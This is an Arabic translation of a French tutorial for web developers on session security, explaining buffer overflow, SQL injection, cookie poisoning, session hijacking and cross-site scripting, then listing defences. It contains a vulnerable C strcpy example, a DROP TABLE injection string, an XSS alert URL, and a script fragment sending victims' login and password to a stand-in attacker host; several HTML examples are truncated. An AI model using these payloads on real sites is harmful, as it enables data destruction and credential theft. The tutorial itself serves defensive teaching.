I /مقدمة:
تستعمل تطبيقات الويب المتصفحات. تقوم المتصفحات بحماية المستخدم بإنشاء Sessions .هذه الأخيرة عبارة عن "مكان عمل" يملك مساحة لتخزين بعض المعلومات. الشخص الوحيد الذي له إمكانية الولوج إلى هذه المساحة هو المستخدم نفسه والذي –بطبيعة الحال- يجب التأكد من هويته مسبقا
مبدئيا يمكن اعتبار العمل بنظام الـ sessions آمنا لدرجة كبيرة ما إن كان استعمالها مراعيا للقواعد. ليس الأمر كذلك دائما إذ أن إساءة مبرمج تطبيقات الويب لاستعمال الـ sessions قد يحول ما كان يفترض به جد آمن إلى الحلقة الأضعف في سلسلة حماية المستخدم
و عليه فإنه يتوجب مراعاة بعض القواعد و الأحكام لتجنب ذلك
سنقدمك لكم في هذا المقال جملة من الهجمات المحتملة و كيفية تجنبها
هذا المقال موجه بدرجة أولى إلى مطوري الويب (PHP,J2EE,.NET )
II / الهجمات المحتملة:
أ/Buffer Overflow :
يتمثل هجوم من نوع Buffer Overflow (فيض المكدس) في تمرير Parameter (في الـ URL أو في الـ Forms عن طريق Post ) طوله حجمه أكبر من الحجم الذي يتوقعه الـ Server الخاص بالتطبيق أو التطبيق في حد ذاته ، مما قد يتسبب في تغيير قيمة متغيرات أخرى
تتمثل نتائج الهجمات من هذا النوع في:
- الحصول على صلاحيات إضافية
- التشويش على سير الحسن التطبيق
- إضافة كود ضار إلى التطبيق
من أهداف الـ hacker :تعطيل الـ server أو التطبيق الحصول على صلاحيات إضافية، سرقة المعلومات أو تدمير النظام كلية.
مثال عن كود بلغة C قابل للهجوم عليه عن طريق الـ Buffer Overflow
- // الدالة المسببة للضعف
- void CopyString(char *str) {
- // buffer يقبل 10 أحرف أو أقل
- char buffer[10];
- strcpy(buffer, str); // buffer overflow !!!
- }
- int main() {
- // إنشاء Buffer أكبر من الموجود في الدالة السابقة
- char buffer2[] = "String very very very looooooooooong !";
- CopyString(buffer2);
- return 1;
- }
ب/SQL Injection
يقوم أساس هجوم من نوع SQL Injection على "حقن" SQL Request في Parameter معين . كون هذا الـ Parameter غير مراقبا بما فيه الكفاية و مستعملا في Request أو في أمر معين فإنه من الممكن جدا تغيير مسار هذه الـ Request أو هذا الأمر مما قد يسبب أعطالا للنظام أو حتى فقدا للبيانات
مثال عن كود PHP/MySQL قابل للهجوم عليه باستعمال SQL Injection
- <?php
- [url="http://fr.php.net/manual/fr/function.mysql-query.php"]mysql_query[/url]("SELECT * FROM userTable WHERE login='$login'");
- ?>
الكود المحقون
- toto'; DROP TABLE userTable; #
الكود المشغل من طرف التطبيق
- SELECT * FROM userTable WHERE login='toto'; DROP TABLE userTable; #'
هذا الكود يقوم بحذف جدول userTable من القاعدة نهائيا . قد تستعمل نفس الطريقة لتمرير أوامر أخرى أو لإظهار بيانات معينة
ج/Cookie poisoning:
تعرف كل Session بمعرف Identifier يحفظه المتصفح في جهاز المستخدم على هيئة Cookie . و عليه فإن الـ Server سيربط المستخدم بـالـ Session الخاصة به باستعمال المعرف الموجود في ملف الـ Cookie والذي بدوره موجود على جهازالمستخدم. و عليه فإن الـ Hacker سيسعى جاهدا للوصول إلى هذا الـ Cookie
د/ Session hijacking:
الهجوم من نوع Session hijacking هو نوع خاص من Cookies poisoning و الموجه للتحكم بـالـ Session الخاصة بمستخدم معين
هناك عدة أنواع من هذا الهجوم:
الاعتراض (interception)
التتبؤ( prediction)
brute force
التثبيت(fixation)
1.الاعتراض: يتم اعتراض الـ Cookies بالتنصت على الاتصال الموجود بين جهاز الضحية و الـ Server .
لدى تحصل الـ Hacker على الـ Cookies فإنه يستطيع استعماله مع متصفحه للدخول إلى النظام منتحلا هوية الضحية
2.التتبؤ: هي "فن" اكتشاف المعرفات الممكن استعمالها في نظام معين. هذا النوع من الهجوم صالح فقط على الـ Servers التي تستعمل خوارزمية توليد المعرفات سهل التنبؤ بها ( يتم ذلك باستعمال معرف –مسجل بطريقة قانونية- في النظام و مقارنته بالمعلومات المتعلقة بهذا المعرف). يسهل استعمال هذا النوع من الهجوم كلما زاد عدد مستخدمي النظام المهاجم.
3. brute force: يتم إيجاد معرفات صالحة بتوليد عدد كبير جدا من المعرفات و تجريبها على النظام إلى غاية إيجاد معرف صحيح
4.التثبيت: يقوم مبدؤها على فرض معرف معين على مستخدم ما. لعمل ذلك يقوم الـ Hacker بإنشاء هذا المعرف على الـ Server و من ثم يدفع مستخدما معينا للاتصال بالـ server باستخدام هذا المعرف (عادة ما يتم ذلك عن طريق الـ Phishing ) و من ثم الحصول على المعلومات .
هـ/ Cross-site scripting:
يشترط في تطبيق هجوم من هذا النوع وجود على الأقل parameter من الـ Url أو Form ضمن محتوى الصفحة إضافة إلى كون هذا الـ Parameter غير مراقب جيدا. و عليه فإنه يكفي تغيير محتوى هذا المتغير و وضع ما تشاء مكانه (كود : shell لتطبيق أوامر على الـ Server أو JavaScript ,activeX … لتطبيق أوامر على جهاز الضحية
يمكن للـ Hacker كتابة كود يسمح له بالحصول على معطيات أدخلها المستخدم
في المثال التالي صفحة من موقع بنك (وهمي) يدخل فيها المستخدم بيانات معينة و تطلب من المستخدم –في حالة الخطأ-( بإظهار المعرف الذي استعمله) إعادة إدخال المعلومات .
مثال الـ url في حالة اسم المستخدم dupond
http://www.mabanque.com/login.jsp?login=dupond
مثال عن صفحة ويب
- </form>
- </body>
- </html>
مثال عن URL مزور
http://www.mabanque.com/login.jsp?login=%3Cscript%3Ealert(%60YOU%20ARE%20HACKED %20!%60)%3B%3C/script%3E
مثال عن صفحة web تمت مهاجمتها تظهر PopUp :
leمث
- </form>
- </body>
- </html>
في المثال التالي يقوم الـ Hacker بإنشاء html form يقوم عمل Request http باستعمال GET (الحصول على صورة) إلى Server خاص به . ملف log الموجود في الـ server الخاص به يكشف له عن login و Password الذي استعملته الضحية .(و عليه يمكن للـ Hacker إنشاء Session باستخدام معرف الضحية)
- </form>
- img.src='http://www.pirate.com/' + auth.login.value + ':' + auth.password.valu
e"> - </form>
- </body>
- </html>
III/ الحلول المقترحة:
و الآن بعدما عرفنا ما هي الهجمات المحتملة سنقوم باستعراض الحلول المقترحة لذلك:
أ/استعمال protocol HTTPS: من شأن ذلك القضاء على عملية التنصت على الاتصال القائم بين جهاز المستخدم و الـ server
ب/ SSL Cookies: يسمح ذلك بإمكانية التعامل بـالـ Cookies بطريقة آمنة
ج/ تحديد فترة فتح Session : للحد من مخاطر ترك الـ Session مفتوحة في أجهزة الأماكن العامة
د/تسجيل الخروج: إضافة إمكانية تسجيل الخروج في تطبيقات الويب يقلل من مخاطر استعمال الـ cookies من طرف hacker كان يتنصت على الاتصال
هـ/j توكيل مهمة توليد معرف الـ Session لـلـ Server: يجنب ذلك من الهجمات من نوع session hijacking صنف fixation.
و/عشوائية الـمعرفات: لتجنب كل هجوم من نوع session hijacking صنف prediction (التنبؤ) يجب استعمال خوارزمية لتوليد معرفات عشوائية لا يمكن التنبؤ بها. الـ API الخاصة بتوليد الأعداد شبه العشوائية الحالية أصبحت جد متطورة .
ز/توليد المعرفات بعد التأكد من هوية المستخدم
ح/حماية الحقول الخاصة بكلمات المرور: يتم ذلك بجعل الكلمات المطبوعة في حقول كلمات المرور غير مرئية للأشخاص القريبين من شاشة الجهاز و محمي من أنظمة التجسس التي تستعمل مستقبلات الموجات الإلكترومغنيطيسية المنبعثة من الشاشة
و عليه فإن هذه الحقول يجب أن تكون من نوع Input password و ليس Text
إضافة إلى وجوب منع التكميل التلقائي لكلمات المرور من طرف المتصفح (جعل الـ attribut autocomplete على off )
ط/ مراقبة الـ Parameters : النقطة الأهم في تأمين تطبيقك هو المراقبة الكلية و عالية الجودة لكل الـ parameters المقدمة من طرف المستخدم أو المستخرجة من الـ url
يجب تحليل كل Parameter تنقيته من الحروف الزائدة و الشوائب و استعماله بحذر في الأوامر و الـ Request
يجنب ذلك الهجمات من نوع Buffer overflow SQL Injection و الـ Cross-site scripting
ي/التسيير الجيد للأخطاء: يجب إخفاء تفاصيل الخطأ و الدوال المستعملة في ذلك لدى إظهار رسالة خطأ للمستخدم خاصة إذا ما تعلق الأمر بـ Request لقاعدة البيانات. مثل هذه المعلومات تساعد الـ hacker على الحصول على معلومات قيمة تساعده في بناء هجومهCross-site scripting (خاصة إذا عرف بنية قاعدة البيانات).
ك/عدم تمرير صلاحيات المستخدم عبر الـ url : يجنب ذلك تغيير هذه الصلاحيات مباشرة من الـ adress bar من طرف المستخدم.
ل/تشفير كلمات المرور: استعمال تشفير ثنائي المفاتيح لتجنب إمكانية وصول hacker إلى قاعدة البيانات الخاصة بكلمات المرور.
م/حماية معطيات الـ Session : المعلومة الوحيدة التي يجب أن تقدم للمستخدم هي المعرف، المعلومات الأخرى يجب حفظها بأمان في مجلدات خاصة
ن/مستخدم واحد لـ Session واحدة: قرن المعرفات بـ IP يزيد من مستوى الحماية (فعال ضد هجمات الـ session hijacking )
IV /خاتمة:
لا تقع مسؤولية حماية الـ Session على عاتق مبرمج تطبيق الويب فقط و إنما يتعداه إلى منظم الـ Session المستعمل ، كما تقع جزء من هذه المسؤولية على عاتق المستخدم ذاته و الذي يجب حماية متصفحه من أيدي و أعين المتطفلين و اتباع بعض القواعد الأساسية لضمان أمنه لدى استعماله للانترنت.
عنوان المقال الأصلي: Applications web : sécuriser la session utilisateur
رابط المقال الأصلي:
http://cyberzoide.developpez.com/securite/session/
كاتب المقال الأصلي: Hugo Etiévant
تمت الترجمة في 19/07/2008
